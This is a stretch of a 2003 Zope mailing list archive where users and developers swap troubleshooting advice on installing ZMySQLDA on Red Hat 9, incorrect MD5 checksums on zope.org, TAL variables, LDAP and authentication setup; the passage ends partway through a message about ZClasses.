<20030821173344.31555.qmail@web80403.mail.yahoo.com> Message-ID: <16199.55696.914250.90340@gargle.gargle.HOWL> Declan Shanaghy wrote at 2003-8-21 10:33 -0700: > Since i upgraded to redhat 9.0 ive noticed that zope hangs > a lot. > It will accept a connection but never sends a response. Please search the archive... It is probably a well known RH9 bug. One thread tell you how to fix the problem. Dieter From dieter at handshake.de Sun Aug 24 00:17:53 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 02:43:57 2003 Subject: [Zope] md5sums of modules In-Reply-To: References: Message-ID: <16199.55809.997608.670786@gargle.gargle.HOWL> Ralph Gauges wrote at 2003-8-20 13:52 +0200: > I just tried to download several modules for zope. After download I > tried to compare their md5sums to those given on the website where I > got the modules, but most of them were incorrect. Actually all of them > were not the way they are supposed to be as I understand md5sums. I saw similar messages recently in the "zope-dev" mailing list. I would sent a message to "". He may be able to fix the wrong MD5-fingerprints. Dieter From dieter at handshake.de Sun Aug 24 00:14:48 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 02:58:26 2003 Subject: [Zope] CookieCrumbler authentication for XMLRPC In-Reply-To: References: Message-ID: <16199.55624.943308.365865@gargle.gargle.HOWL> Dennis Allison wrote at 2003-8-21 17:49 -0700: > Yikes, I just can't seem to make it work. XMLRPC works fine with Basic > Authentication but the system the XMLRPC needs to work with uses the > CookieCrumbler Product--and, for the life of me, I cannot get it to > authenticate. I am sure that CookieCrumber honours basic authentication info when it is present. This is necessary for FTP and WebDAV (as well as XMLRPC). This means: when your XMLRPC request comes with correct basic authentication, it should work. If there is no basic authentication or user/password are not correct, "CookieCrumber" will return a login dialog page which (of course) is not understood by XMLRPC. Dieter From jens at zope.com Sat Aug 23 13:49:07 2003 From: jens at zope.com (Jens Vagelpohl) Date: Sun Aug 24 03:05:39 2003 Subject: [Zope] zldap connections In-Reply-To: <1061409624.32532.366.camel@aslan.its.bethel.edu> Message-ID: The ZLDAP product has not seen any development in a few years. jens On Wednesday, Aug 20, 2003, at 16:00 US/Eastern, Andrew Altepeter wrote: > I'm working on an alumni directory for the college, which uses openldap > as the directory service. We are using acl's to restrict which > attributes user have access to based on their context (staff, student, > alumni, guest, etc). > > This means that the alumni directory needs to bind to ldap as each > user. > > We want to use zldap, but the Ldap Connection object creates a > connection, bound as one user. Is it possible to have 'dynamic' ldap > connections (and use the rest of the zldap package), ones where you can > re-bind as another user? > > Or is there some other (better) way to do this? > > I've seen other products out there which allow this by using an ldap > user folder, however we have a custom user folder that integrates with > our institutions single sign-on server, so that won't work (and we have > a different method of retrieving a users password). > > Any help would be great! > Thanks! > Andy Altepeter > Web Developer > Bethel College & Seminary > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From dieter at handshake.de Sun Aug 24 01:08:16 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 03:09:48 2003 Subject: [Zope] Equipment Inventory & Ticket Tracker In-Reply-To: <1061571471.989.95.camel@localhost.localdomain> References: <1061571471.989.95.camel@localhost.localdomain> Message-ID: <16199.58832.710544.171417@gargle.gargle.HOWL> Pavlica, Nick wrote at 2003-8-22 10:57 -0600: > I'm looking for a good product(s) for ticket tracking and hardware > inventory. For ticket tracking, "CMFCollectorNG" may be adequate. I know nothing for "hardware inventory" (in fact, I do not know what this is). Dieter From dieter at handshake.de Sun Aug 24 00:19:36 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 03:11:12 2003 Subject: [Zope] How user edit his account? In-Reply-To: <1061443766.1227.9.camel@Praveen> References: <1061443766.1227.9.camel@Praveen> Message-ID: <16199.55912.170887.973560@gargle.gargle.HOWL> Praveen Kumar wrote at 2003-8-21 10:59 +0530: > Dear List, > I would like to know one thing. I'm using exuserfolder to > provide the user accounts. While logged into the Zope application we can > modify the existing user account information. I would like to know how > user can modify his own account through web? If we hosted the site then > User can logged into the site by giving his username and password. Once > he logged in then he should able to modify his account. Please give me > some ideas. Please search the mailing list archive for "manage_users". Dieter From troester at fh-heilbronn.de Sat Aug 23 21:19:30 2003 From: troester at fh-heilbronn.de (F. Troester) Date: Sun Aug 24 03:29:10 2003 Subject: [Zope] Python 2.2.3 and Zope 2.6.2 ? Message-ID: <000501c369a3$365917a0$fe78a8c0@mbmsrprivalix> An easy question to experts of Zope: Can I install Python 2.2.3 (with Python email package) or even Python 2.3 to run Zope-2.6.2b5? Thank you for the answer Fritz From dieter at handshake.de Sun Aug 24 00:45:12 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 03:30:21 2003 Subject: [Zope] zldap connections In-Reply-To: <1061409624.32532.366.camel@aslan.its.bethel.edu> References: <1061409624.32532.366.camel@aslan.its.bethel.edu> Message-ID: <16199.57448.738863.190745@gargle.gargle.HOWL> Andrew Altepeter wrote at 2003-8-20 15:00 -0500: > I'm working on an alumni directory for the college, which uses openldap > as the directory service. We are using acl's to restrict which > attributes user have access to based on their context (staff, student, > alumni, guest, etc). > > This means that the alumni directory needs to bind to ldap as each user. > > We want to use zldap, but the Ldap Connection object creates a > connection, bound as one user. Is it possible to have 'dynamic' ldap > connections (and use the rest of the zldap package), ones where you can > re-bind as another user? Probably yes, but I use "LDAPUserFolder" (which works this way). You can look at it to find out how to it manages its connection. Dieter From hpinson at indepthl.com Sat Aug 23 09:17:54 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Sun Aug 24 03:51:16 2003 Subject: [Zope] No module named _mysql In-Reply-To: <3F471EDC.6060702@gazeta.pl> References: <3F45FAB2.31024.421EC1A@localhost> Message-ID: <3F472332.9319.8A822DB@localhost> For me, the RPM did not work-- it installed, but to the wrong python (1.5), and despite my efforts to include that in the PYTHONPATH, zope would not see it. No luck at all with the 2.2 version of Python. I ended up building MySQL-python from scratch, and after resolving a library issue around zlib-devel, all is now working. Thanks to everyone for being so helpful. I do have a question-- why is ZMySQLDA not part of the Zope core? It seems a very common task to want to connect MySQL to Zope on either Linux or Windows. I gave up trying on Windows, and use the ODBC adapter instead (with MyODBC), which fortunatly, seems to work well. Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From hpinson at indepthl.com Fri Aug 22 22:16:07 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Sun Aug 24 03:51:50 2003 Subject: [Zope] Re: ZMySQLDA broken with Redhat 9? Message-ID: <3F468817.31822.64A3FF5@localhost> The reason MySQLDA would not run on my Redhat 9 was that I was missing a library called: zlib-devel Without it, MySQL-python would not build or install. I made the mistake of trusting the Redhat MySQL-python rpm-- which was a bad choice. I installed the appropriate zlib-devel RPM, as a guess based on an obscure thread somewhere, built and installed MySQL-python (without errors this time), then copied ZMySQLDA to /var/zope/lib/python/Products and restarted. ZMySQLDA works! I don't think this had anything to do with my PYTHONPATH as others had suggested. The redhat MySQL-python RPM had installed _mysql.so but to the /usr/lib/python1.5/site-packages directory. Adding this to the PYTHONPATH did not help. One trick is to make sure to build MySQL-python using the Python that installs with the binary. For example: /var/zope/bin/python setup.py build /var/zope/bin/python setup.py install The RPM from redhat probably was built with some other version of Python. If you build MySQL-python with some other version of Python, you may have trouble depending on how you are running Zope, i.e Python included with the binary release or external python. It seems that this ZMySQLSA problem is occuring a lot lately and has many differnt causes. My situtaion may or may not be unique, but perhaps this will help. Is this going to get even more confusing with Zope 7? My understanding is that we are getting power over simplicity. This sort of thing should be simple, and not a struggle. Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From dieter at handshake.de Sun Aug 24 00:07:46 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 04:54:46 2003 Subject: [Zope] How to get all workflow states from a workflow? In-Reply-To: <20030821163111.13669.qmail@webmail9.rediffmail.com> References: <20030821163111.13669.qmail@webmail9.rediffmail.com> Message-ID: <16199.55202.655932.381818@gargle.gargle.HOWL> saravanan annamalai wrote at 2003-8-21 16:31 -0000: > I want to get the list of all workflow states from a work > flow. You know how to do this from the ZMI? Whenever you are in this situation, you only need to look how the ZMI does it (hey, Open Source is fun!). In your case, you will find out, that /states.object{Ids|Values|Items} are the correct methods. By the way, my "DocFinder" product can help you to find out what methods are available. References: <20030820133809.GA4949@diamond.madduck.net> Message-ID: <3F47A09B.5000204@mxm.dk> martin f krafft wrote: > i am sure this is easy as hell, but as much as i tried, i did not > yet arrive. please spare me the agony of listing all the things > i tried, could someone just please give me a tal:define statement > that stores the current year in four digit form into a variable for > use in a ZPT? untested: regards Max M From dieter at handshake.de Sun Aug 24 01:06:25 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 05:03:03 2003 Subject: [Zope] No module named _mysql In-Reply-To: <3F45FAB2.31024.421EC1A@localhost> References: <3F45FAB2.31024.421EC1A@localhost> Message-ID: <16199.58721.146684.974833@gargle.gargle.HOWL> hpinson@indepthl.com wrote at 2003-8-22 11:12 -0600: > On a new RH9 linux server I am attempting to install ZMySQLDA Product > and am getting this error: "No module named _mysql" > > Prior to install of the Product I had added the mysql-python-0.9.2- > 1.i386.rpm sucessfully, per suggestions here. > > Any suggestions? Do you run a binary Zope version? Then, it does not look at the standard place for Python (and its libary) but comes with its own Python version. In this case, you must make "_mysql.so" available for Zope's Python. It usually looks for its library in "/lib/python*". Copy or symbolic link "_mysql.so" thereto. Dieter From dieter at handshake.de Sun Aug 24 00:11:12 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 05:48:41 2003 Subject: [Zope] HOw Do I Modify A Defined Variable In TAL? In-Reply-To: <20030821221604.39042.qmail@web14003.mail.yahoo.com> References: <20030821221604.39042.qmail@web14003.mail.yahoo.com> Message-ID: <16199.55408.6833.218595@gargle.gargle.HOWL> Jonathan Mark wrote at 2003-8-21 15:16 -0700: > Using TAL and ZPT, I would like to define a global > variable myVar, and then later on in the page > > add 1 to myVar, e.g. myVar = myVar + 1. > > How can I modify a variable in TAL? You make a new definition: ... tal:define="global myVar python: myVar + 1" ... The TAL specification tells you... (see the Zope Book, 2.6 edition, on Zope.org). Dieter From dieter at handshake.de Sun Aug 24 00:49:21 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 05:56:55 2003 Subject: [Zope] About LDAPUserFolder, memberships and LocalRoles... In-Reply-To: References: Message-ID: <16199.57697.173436.162568@gargle.gargle.HOWL> Gelin Patrick wrote at 2003-8-21 09:58 +0200: > I use LDAPUserFolder and when I want to assign LocalRoles I get into trouble because users are not display if they never login a first time. I think that when a user make a login it is registered as membership and he can be listed by LocalRoles. So the question is how can I register my LDAP users as membership automaticaly ? At least, this is not easy. LDAP may manage an huge number of users. The local roles interface is only adequate for a few dozens of users not for thousands or even hundreds of thousands. For this rease, the LDAPUserFolder auther decided to let "getUsers" not return all users but only the ones found in the cache. You may use Plone 1.1's approach to assign local roles. It first lets you search a user and then assign local roles for this user. You find the methods to manage local roles in "AccessControl/Role.py". Dieter From hpinson at indepthl.com Sat Aug 23 16:49:20 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Sun Aug 24 06:27:53 2003 Subject: [Zope] ZMySQLDA broken with Redhat 9? In-Reply-To: <20030823160338.00004893.josh@trutwins.homeip.net> References: <3F464B20.18809.55C19F9@localhost> Message-ID: <3F478D00.22807.A456F74@localhost> Hi Josh-- thanks-- exactly the conculsion I came to-- but for some reason MySQL-python would not build or install (using Zope's built in Python as you suggest)-- with an error pointing to a missing zlib- devel. I went to Redhat-- got and installed that zlib-devel RPM-- then MySQL-Python built and installed cleanly. Then the ZMySQLDA product installed without a hitch. What a relief. I was getting worried there for a moment. RH9 has been trying. Thanks for your response! Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From scott.meilicke at intp.com Fri Aug 22 13:38:46 2003 From: scott.meilicke at intp.com (Meilicke, Scott) Date: Sun Aug 24 07:34:15 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and passwor d do I use? Message-ID: <05A1EDFF79040846976782B13F97ED3516B5AC@IWA-MERCURY> Did you restart zope? -----Original Message----- From: paulporter@buffalotalks.com [mailto:paulporter@buffalotalks.com] Sent: Thursday, August 21, 2003 6:51 AM To: zope@zope.org Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? I've got Zope running but when I go to localhost:8080/manage I get a dialogbox wanting a user name and password. I didn't know what it was wanting so I created an "access" file using zpasswd.py but apparently it doesn't see this file because when I enter the user name and password that I put in the access file zope just regenerates the prompt dialogbox. I have made sure that I enter username/password exactly as found in the access file, I've tried copying th access file into the zope directory, that had no positive effect so I copied it into the zserver directory and that had no positive effect either. Could some kind soul please tell me how to get into Zope? Thanks for any help that might be offered. Paul _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) The information contained in this email message may be privileged and is confidential information intended only for the use of the recipient or any employee or agent responsible for delivering it to the intended recipient. Any unauthorized use, distribution or copying of this information is strictly prohibited and may be unlawful. If you have received this communication in error, please notify the sender immediately and destroy the original message and all attachments from your electronic files. From SamirMishra at cbuae.gov.ae Sun Aug 24 09:18:11 2003 From: SamirMishra at cbuae.gov.ae (Samir Mishra) Date: Sun Aug 24 08:40:40 2003 Subject: [Zope] md5 sums Message-ID: <211AD0070D42D1118C7B00A024FF19AE2EBF18@AUHEXCH> In my experience, "can be correct" == "human intervention required", not what one wants to be doing. A lot of bandwidth wasted right here for a "can be correct"... (WRT someone else's comments) I like the new Zope site, it's eye candy, I agree, but how else does one tempt the kiddie-surfers? :) I find it more functional in some respects. And main goal - also show capabilities of Zope - is definitely served better with the new site. Regards. -----Original Message----- From: Gordon Joly [mailto:gordon.joly@pobox.com] Sent: Tuesday, August 19, 2003 12:04 To: Andy McKay Cc: Gordon Joly; zope@zope.org; Gordon Joly Subject: Re: [Zope] md5 sums At 23:56 -0700 2003/08/18, Andy McKay wrote: >No thats what I get. But my point was that I think all md5sums on zope.org are incorrect. You'll notice all md5 sums on all files on zope seem to start with a 0. > >[andy@basil tmp]$ md5sum Zope-2.6.1-linux2-x86.tgz >cd2ca5eb1c9c014844895b93339c0291 Zope-2.6.1-linux2-x86.tgz OK.... I see what you are saying. But we read..... **** MD5 Sums are 32 byte character strings that are the result of running the MD5 sum program against a particular file. Since any difference between two files results in two different strings, MD5's can be used to determine that the file or iso you downloaded is a bit-for-bit copy of the remote file or iso. **** So we both get the same md5sum for the image.... cd2ca5eb1c9c014844895b93339c0291 But the published string is.. 0cd2ca5eb1c9c14844895b93339c291 which has 31 characters (30 without the leaded zero). So........ can this be corrected? Gordo. -- Linux User No. 256022/// http://pobox.com/~gordo/ gordon.joly@pobox.com/// _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From bromden at gazeta.pl Sat Aug 23 10:59:24 2003 From: bromden at gazeta.pl (bromden) Date: Sun Aug 24 09:17:25 2003 Subject: [Zope] No module named _mysql In-Reply-To: <3F45FAB2.31024.421EC1A@localhost> References: <3F45FAB2.31024.421EC1A@localhost> Message-ID: <3F471EDC.6060702@gazeta.pl> > and am getting this error: "No module named _mysql" > Prior to install of the Product I had added the mysql-python-0.9.2- > 1.i386.rpm sucessfully check out "rpm -ql MySQL-python", this package installs python modules for python1.5 while you are using probably python2.2, you have to add the path "/usr/lib/python1.5/site-packages" to your PYTHONPATH, then you'll get a warning about C API version mismatch each time you "import MySQLdb" (or CompatMysqldb), but don't worry, this doesn't seem to cause any trouble in using mysql -- bromden[at]gazeta.pl From rbickers-expires-1062298949.1d51dc at logicetc.com Sun Aug 24 00:04:03 2003 From: rbickers-expires-1062298949.1d51dc at logicetc.com (Ron Bickers) Date: Sun Aug 24 09:41:10 2003 Subject: [Zope] ZMySQLDA broken with Redhat 9? In-Reply-To: <3F464B20.18809.55C19F9@localhost> References: <3F464B20.18809.55C19F9@localhost> Message-ID: <3F482B23.30804@logicetc.com> On 08/22/2003 6:56 PM, hpinson@indepthl.com wrote: > Here's what is installed: > > (Zope 2.6.1 (binary release, python 2.1, linux2-x86), python 2.1.3, > linux2) > MySQL-python-0.9.2-1 How did you install MySQL-python-0.9.2? It must be compiled with the version of Python you're running Zope under and must be in a lib directory where that Python can find it. On RH9, I'm using the source version of Zope, the binary RPMs for Python 2.1.3 (available at python.org -- installed happily along side the Python that comes with RH9), and I built the MySQL-python RPMs from the tarball with something like this: # python2.1 setup.py bdist_rpm --python=python2.1 This will build with python2.1 and the RPM will install under /usr/lib/python2.1. I've never used the binary version of Zope, so I don't really know where things need to go if you're going to use that. > Getting MySQL and Zope to talk on Linux used to be so easy. What am > I doing wrong? It's still easy... if you know what to do. ;-) -- Ron Bickers Logic Etc, Inc. From tarlano at docomolab-euro.com Sun Aug 24 14:40:39 2003 From: tarlano at docomolab-euro.com (anthony tarlano) Date: Sun Aug 24 09:58:53 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? In-Reply-To: References: Message-ID: <3F48A437.4010002@docomolab-euro.com> Skipped content of type multipart/alternative From dieter at handshake.de Sun Aug 24 01:01:46 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 10:00:14 2003 Subject: [Zope] Z SQL Method, ZMySQLDA, connection pooling, threads, life, the universe, and everything In-Reply-To: References: Message-ID: <16199.58442.877553.849898@gargle.gargle.HOWL> Dennis Allison wrote at 2003-8-21 14:01 -0700: > ... > Mu understanding: Zope runs multiple threads (up to 7 without recompiling > -- it's a ZODB connection limit) It's not compiled in. Its just a default parameter which can easily be changed (preferable in a "custom_zodb.py"). > using the underlying Python threading > model. The scheduling unit for threads is a single HTTP transaction. (IS > THIS RIGHT?) Threads are scheduled out of the medusa asyncore by polling > select. "scheduling unit" and "HTTP transaction" are strange terms in this context. The operating systems schedules the threads and you must *NOT* expect that there will be no thread switches during a HTTP request. > ... > When created, each ZSQL method searches for and binds to one particular > RDBMS adaptor. For my pooled connection approach, there'd be only one > ZMYSQLDA instance to which all ZSQL Methods would bind. The ZSQL Method > would find the connector by acquisiton (as it does currently) and allow > binding to one or another of the predefined virtual connections. Most > of the changes look simple. MySQL usually does not run in transactional mode. If it would, you would need to be very careful, not to mix use of a single connection by different requests! You would need to lock the connection and release the lock only after "commit/abort". > The ZMySQLDA mechanism will need some significant changes, some of which > need to be thread safe. ZMySQLDA and MySQLdb are thread-safe at level > one, that is, threads may share the modules but **not the connections**. Advice: keep it as it is now! Just use a single DA instance and let all Z SQL Methods use this DA instance. That should be sufficient to let MySQL reach its connection limit (if not, increase the limit). Dieter From josh at trutwins.homeip.net Sat Aug 23 17:03:38 2003 From: josh at trutwins.homeip.net (Josh Trutwin) Date: Sun Aug 24 11:02:51 2003 Subject: [Zope] ZMySQLDA broken with Redhat 9? In-Reply-To: <3F464B20.18809.55C19F9@localhost> References: <3F464B20.18809.55C19F9@localhost> Message-ID: <20030823160338.00004893.josh@trutwins.homeip.net> > I cannot seem to get ZMySQLDA to work on Redhat 9. > Here is the traceback: > > Traceback (most recent call last): > File "/var/zope/lib/python/OFS/Application.py", line 541, in > import_product > product=__import__(pname, global_dict, global_dict, silly) > File "/var/zope/lib/python/Products/ZMySQLDA/__init__.py", line 91, > in ? > import DA > File "/var/zope/lib/python/Products/ZMySQLDA/DA.py", line 92, in ? > from db import DB > File "/var/zope/lib/python/Products/ZMySQLDA/db.py", line 89, in ? > import _mysql > ImportError: No module named _mysql For my installation, _mysql.so is in zope/lib/python2.1/site-packages. (where zope is my location of zope) What does rpm -ql MySQL-python show? If this is an RPM install, it probably set MySQL-python up so it could only be used with your standard python installation, but not with Zope's python. To make it works with zope you might have to copy some files around. I found it easiest to do a source installation of MySQL-python, you could try that too. Download MySQL-python from sourceforge, unpack it and go to the MySQL-python directory and type: /your/path/to/zope/bin/python setup.py build su /your/path/to/zope/bin/python setup.py install Make sure you type the full path to the python located in the zope installation. This uses the python executable within Zope so it puts the files in the right place for Zope to see them. Restart Zope and you SHOULD be good to go. (Note that this actually uses the C compiler to build _mysql.so, so make sure you have gcc installed). Josh From allison at sumeru.stanford.EDU Sat Aug 23 00:14:07 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Sun Aug 24 11:41:13 2003 Subject: [Zope] No module named _mysql In-Reply-To: <3F45FAB2.31024.421EC1A@localhost> Message-ID: You need to install the MySQL product as well as ZMySQLDA. You can fetch both from Sourceforge. There's a RH9 RPM which would probably work as well. On Fri, 22 Aug 2003 hpinson@indepthl.com wrote: > On a new RH9 linux server I am attempting to install ZMySQLDA Product > and am getting this error: "No module named _mysql" > > Prior to install of the Product I had added the mysql-python-0.9.2- > 1.i386.rpm sucessfully, per suggestions here. > > Any suggestions? I see reference to a FAQ but have not been able to > find it. Where might that be? > > Here is the Zope traceback: > > Traceback (most recent call last): > File "/var/zope/lib/python/OFS/Application.py", line 541, in > import_product > product=__import__(pname, global_dict, global_dict, silly) > File "/var/zope/lib/python/Products/ZMySQLDA/__init__.py", line 91, > in ? > import DA > File "/var/zope/lib/python/Products/ZMySQLDA/DA.py", line 92, in ? > from db import DB > File "/var/zope/lib/python/Products/ZMySQLDA/db.py", line 89, in ? > import _mysql > ImportError: No module named _mysql > > Harlow Pinson > Indepth Learning > Email: hpinson@indepthl.com > Web: http://www.indepthl.com > Voice: 505-994-2135 > FAX: 208-475-7678 > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From pw_lists at slinkp.com Sat Aug 23 01:12:31 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sun Aug 24 11:48:57 2003 Subject: [Zope] ZPT: getting the current year In-Reply-To: <20030820133809.GA4949@diamond.madduck.net> References: <20030820133809.GA4949@diamond.madduck.net> Message-ID: <20030823041231.GD8420@slinkp.com> On Wed, Aug 20, 2003 at 03:38:09PM +0200, martin f krafft wrote: > i am sure this is easy as hell, but as much as i tried, i did not > yet arrive. please spare me the agony of listing all the things > i tried, could someone just please give me a tal:define statement > that stores the current year in four digit form into a variable for > use in a ZPT? http://zope.org/Documentation/Books/ZopeBook/2_6Edition/AppendixB.stx (search for DateTime) example: -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's TOMATO CONDOM! (random hero from isometric.spaceninja.com) From tarlano at docomolab-euro.com Sat Aug 23 20:24:10 2003 From: tarlano at docomolab-euro.com (anthony tarlano) Date: Sun Aug 24 11:57:58 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? In-Reply-To: References: Message-ID: <3F47A33A.3090007@docomolab-euro.com> Skipped content of type multipart/alternative From dieter at handshake.de Sun Aug 24 00:19:06 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 12:25:58 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? In-Reply-To: <55688.152.34.59.4.1061473875.squirrel@65.217.249.141> References: <55688.152.34.59.4.1061473875.squirrel@65.217.249.141> Message-ID: <16199.55882.784598.986497@gargle.gargle.HOWL> paulporter@buffalotalks.com wrote at 2003-8-21 09:51 -0400: > I've got Zope running but when I go to localhost:8080/manage I get a > dialogbox wanting a user name and password. I didn't know what it was > wanting so I created an "access" file using zpasswd.py but apparently it > doesn't see this file because when I enter the user name and password that > I put in the access file zope just regenerates the prompt dialogbox. Maybe someone already asked this: did you restart Zope after you created/changed "access". Zope reads "access/inituser" only on startup. Dieter From troester at fh-heilbronn.de Sat Aug 23 22:08:44 2003 From: troester at fh-heilbronn.de (F. Troester) Date: Sun Aug 24 12:45:13 2003 Subject: [Zope] Python 2.2.3 and Zope 2.6.2 ? Message-ID: <000601c369aa$1756d7f0$fe78a8c0@mbmsrprivalix> An easy question to experts of Zope: Can I install Python 2.2.3 (with Python email package) or even Python 2.3 to run Zope-2.6.2b5? Thank you for the answer Fritz From allison at sumeru.stanford.EDU Sat Aug 23 10:42:52 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Sun Aug 24 13:00:36 2003 Subject: [Zope] No module named _mysql In-Reply-To: <3F45FAB2.31024.421EC1A@localhost> Message-ID: One other point, you need to install MySQL into the python you are using for Zope. If you have a binary install, that's the python in lib/bin and probably not the usual system-level python. On Fri, 22 Aug 2003 hpinson@indepthl.com wrote: > On a new RH9 linux server I am attempting to install ZMySQLDA Product > and am getting this error: "No module named _mysql" > > Prior to install of the Product I had added the mysql-python-0.9.2- > 1.i386.rpm sucessfully, per suggestions here. > > Any suggestions? I see reference to a FAQ but have not been able to > find it. Where might that be? > > Here is the Zope traceback: > > Traceback (most recent call last): > File "/var/zope/lib/python/OFS/Application.py", line 541, in > import_product > product=__import__(pname, global_dict, global_dict, silly) > File "/var/zope/lib/python/Products/ZMySQLDA/__init__.py", line 91, > in ? > import DA > File "/var/zope/lib/python/Products/ZMySQLDA/DA.py", line 92, in ? > from db import DB > File "/var/zope/lib/python/Products/ZMySQLDA/db.py", line 89, in ? > import _mysql > ImportError: No module named _mysql > > Harlow Pinson > Indepth Learning > Email: hpinson@indepthl.com > Web: http://www.indepthl.com > Voice: 505-994-2135 > FAX: 208-475-7678 > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From dieter at handshake.de Sun Aug 24 00:52:15 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 24 13:03:27 2003 Subject: [Zope] anonymous user: Zope 2.6.1/Plone 1.1/Mac OSXS 10.2.6 In-Reply-To: <0D4E43AB.1489DBB9.00923364@netscape.net> References: <0D4E43AB.1489DBB9.00923364@netscape.net> Message-ID: <16199.57871.93902.662490@gargle.gargle.HOWL> baiewola@netscape.net wrote at 2003-8-22 15:42 -0400: > ... > Error Type: Unauthorized > Error Value: (item 0): Your user account does not have the required permission. Access to 0 of [(Application instance at 18a3760), (Folder instance at 18cfcd0)] denied. Your user account, Anonymous User, exists at /acl_users. Access requires one of the following roles: ['Manager', 'View']. Your roles in this context are ['Anonymous']. > > > I don't understand this error, since I'm logging in without a name or password. Shouldn't it automatically assume I'm an Anonymous User with the Anonymous role? It does, but your application tries to access the "Application instance" and for this, it would need "Manager" or "View" (?) role on *THIS* object. It has only "Anoymous". Dieter From Ralph.Gauges at eml.villa-bosch.de Sun Aug 24 11:11:47 2003 From: Ralph.Gauges at eml.villa-bosch.de (Gauges, Ralph) Date: Sun Aug 24 14:00:11 2003 Subject: [Zope] md5sums of modules Message-ID: <4202DDA3828BD24D9381128D46B13D2B34EF14@ktaemail01.villa-bosch.de> Are you sure, this would be the responsibility of the webmaster. I don't know how this is handled by the developers, but I would guess that providing the right md5sums would be the responsibility of the module maintainers. What I was actually rather curious about was if anybody could shed some light on the fight that it is always zeros that are missing from the md5sums, this doesn't really look like coincidence to me. But on the other hand, nothing I have read about md5sums so far suggests that zeros within the sum would be insignificant. It alwas sais that md5sums are 128bit, but actually none of them are because of the leading 0. Ralph -----Original Message----- From: Dieter Maurer Sent: Sat 8/23/2003 11:17 PM To: Gauges, Ralph Cc: zope@zope.org Subject: Re: [Zope] md5sums of modules Ralph Gauges wrote at 2003-8-20 13:52 +0200: > I just tried to download several modules for zope. After download I > tried to compare their md5sums to those given on the website where I > got the modules, but most of them were incorrect. Actually all of them > were not the way they are supposed to be as I understand md5sums. I saw similar messages recently in the "zope-dev" mailing list. I would sent a message to "". He may be able to fix the wrong MD5-fingerprints. Dieter -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/ms-tnef Size: 2998 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030824/372da7f5/attachment.bin From madduck at madduck.net Sat Aug 23 22:04:02 2003 From: madduck at madduck.net (martin f krafft) Date: Sun Aug 24 14:00:44 2003 Subject: [Zope] ZPT: getting the current year In-Reply-To: <3F474B8E.8060502@verizon.net> References: <20030820133809.GA4949@diamond.madduck.net> <3F474B8E.8060502@verizon.net> Message-ID: <20030823190402.GA21395@albatross> also sprach Satheesh Babu [2003.08.23.1310 +0200]: > ... except for the quotes, this works fine! thanks, -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck keyserver problems? http://keyserver.kjsl.com/~jharris/keyserver.html get my key here: http://madduck.net/me/gpg/publickey riesco a leggerti i pensieri. dovresti vergognarti. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030823/4c5964e8/attachment.bin From davis at mccalldesign.com Fri Aug 22 18:45:12 2003 From: davis at mccalldesign.com (Davis Marques) Date: Sun Aug 24 14:01:23 2003 Subject: [Zope] Getting data from object inside ZClass Message-ID: <41204.24.81.83.191.1061599512.squirrel@zulu.mccalldesign.com> I'm developing a product using ZClasses, and I'm having some problems. When I make an instance of my ZClass, I want to copy a number of DTMLDocuments that are contained inside the ZClass to the inside of the new ZClass instance. Here's what I've got: # add a new instance of the ZClass, initialize properties instance = 